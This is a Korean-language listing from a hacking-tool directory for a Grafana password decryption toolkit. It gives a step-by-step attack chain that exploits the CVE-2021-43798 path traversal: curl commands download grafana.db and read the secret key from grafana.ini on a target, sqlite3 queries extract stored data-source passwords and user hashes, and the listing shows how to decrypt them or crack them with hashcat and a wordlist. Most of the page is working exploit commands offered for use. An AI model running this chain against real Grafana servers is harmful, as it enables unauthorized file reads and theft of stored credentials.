Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Grafana-Password-Decryptor — Grafana 데이터베이스에서 AES-256 복호화 및 PBKDF2 비밀번호 크래킹을 위한 Python 툴킷으로, 일반적으로 (CVE-2021-43798)과 함께 사용됩니다. | Kitploit
도구/GitHubGitHub/strikoder-premium/grafana-password-decryptor
Password CrackingEncryption/Decryption ToolsVulnerability AnalysisExploitationPost-ExploitationCryptography
GitHubstrikoder-premium/grafana-password-decryptor

Grafana-Password-Decryptor

Grafana 데이터베이스에서 AES-256 복호화 및 PBKDF2 비밀번호 크래킹을 위한 Python 툴킷으로, 일반적으로 (CVE-2021-43798)과 함께 사용됩니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
138개월 전아직 검토되지 않음

Grafana 비밀번호 복호화 도구

다중 형식의 Grafana 비밀번호를 복호화 및 크래킹하는 Python 도구 키트입니다.

제작: strikoder

이 도구는 무엇을 하나요?

두 가지 유형의 Grafana 비밀번호 저장 방식을 처리합니다:

  • 🔐 AES-256 Base64 (data_source 테이블) → AESDecrypt.py로 직접 복호화
  • 🔨 PBKDF2_HMAC_SHA256 (user 테이블) → grafana2hashcat.py로 Hashcat용 변환

CVE-2021-43798 경로 탐색 이후 사후 공격(post-exploitation)에 적합합니다.

CVE-2021-43798이란?

Grafana 버전 8.0.0-beta1부터 8.3.0까지의 경로 탐색 취약점으로, 인증되지 않은 공격자가 서버에서 임의 파일을 읽을 수 있게 합니다:

  • 설정 파일 (/etc/grafana/grafana.ini)
  • 데이터베이스 파일 (/var/lib/grafana/grafana.db)
  • 시스템 파일 (/etc/passwd)

공격 예시:

root@kitploit:~
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
  --path-as-is --output grafana.db

이 도구 키트는 데이터베이스에서 추출한 비밀번호를 복호화/크래킹하여 공격 체인을 완료합니다.

포함된 도구

1. AESDecrypt.py

data_source 테이블에서 AES-256 암호화된 비밀번호를 복호화합니다.

기반: jas502n/Grafana-CVE-2021-43798 (주요 개선 사항 포함):

  • ✅ 유연한 비밀 키: 수동으로 키 추출 (하드코딩된 경로 없음)
  • ✅ 일괄 처리: 파일에서 여러 해시 복호화
  • ✅ 완전 구성 가능: 모든 매개변수를 CLI 플래그로 설정

2. grafana2hashcat.py

user 테이블의 Grafana PBKDF2_HMAC_SHA256 해시를 Hashcat 호환 형식으로 변환하여 비밀번호 크래킹에 사용합니다.

크레딧: iamaldi/grafana2hashcat

설치

root@kitploit:~
git clone https://github.com/strikoder/Grafana-Password-Decryptor.git
cd Grafana-Password-Decryptor
pip install cryptography #for Decyrption
chmod +x AESDecrypt.py grafana2hashcat.py

사용법

도구 1: AESDecrypt.py (AES-256 Base64 비밀번호용)

단일 해시 복호화

root@kitploit:~
python3 AESDecrypt.py -hash R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==

여러 해시 복호화

root@kitploit:~
python3 AESDecrypt.py -f hashes.txt

사용자 정의 비밀 키 사용

Grafana 설정에서 비밀 키 추출:

root@kitploit:~
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' --path-as-is | grep secret_key

python3 AESDecrypt.py -hash [HASH] -k YOUR_SECRET_KEY

도구 2: grafana2hashcat.py (PBKDF2 해시용)

단일 해시 파일 변환

root@kitploit:~
python3 grafana2hashcat.py grafana_hashes.txt

입력 형식 (grafana_hashes.txt):

root@kitploit:~
hash1,salt1
hash2,salt2
hash3,salt3

출력 (Hashcat 사용 준비 완료):

root@kitploit:~
sha256:10000:base64_salt:base64_hash

파일로 저장

root@kitploit:~
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt

Hashcat으로 크래킹

root@kitploit:~
hashcat -m 10900 hashcat_hashes.txt wordlist.txt

전체 공격 예제

시나리오 1: AES 암호화 비밀번호 (data_source 테이블)

root@kitploit:~
# 1. Extract secret key from grafana.ini (might be empty in some cases, use default key in python program in that case)
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' \
  --path-as-is | grep secret_key

# 2. Download the database
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
  --path-as-is -o grafana.db

# 3. Extract AES-encrypted passwords from data_source table
sqlite3 grafana.db "SELECT name, password FROM data_source;"

# 4. Save passwords to file (one per line)
# Example: R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==

# 5. Decrypt with extracted secret key
python3 AESDecrypt.py -f passwords.txt -k [SECRET_KEY]

시나리오 2: PBKDF2 해시 (user 테이블)

root@kitploit:~
# 0. Download the database
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
  --path-as-is -o grafana.db

# 1. Extract PBKDF2 password hashes from user table
sqlite3 grafana.db "SELECT login, password, salt FROM user;"

# 2. Format hashes for grafana2hashcat (hash,salt format)
# Example format in grafana_hashes.txt:
# 3ad31dc57a7452c442f259cfff7aa61f2a6cea88ee634724ae146e221ae4e01c56c8bcbb3552310acd2fd746a396d2f99bf8,pepper

# 3. Convert to Hashcat format
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt

# 4. Crack with Hashcat (mode 10900 = PBKDF2-HMAC-SHA256)
hashcat -m 10900 hashcat_hashes.txt rockyou.txt

빠른 참조: 어떤 도구를 사용할까요?

크레딧

  • AESDecrypt.py: strikoder 제작, jas502n의 Go 구현 기반
  • grafana2hashcat.py: iamaldi 제작

⭐ 도움이 되셨나요? 별표 눌러주세요!

제작: strikoder

도구 다운로드
비밀번호 유형데이터베이스 테이블형식도구Hashcat 모드
AES-256 암호화data_sourceBase64 문자열AESDecrypt.py해당 없음 (직접 복호화)
PBKDF2_HMAC_SHA256user16진수 해시 + 솔트grafana2hashcat.py-m 10900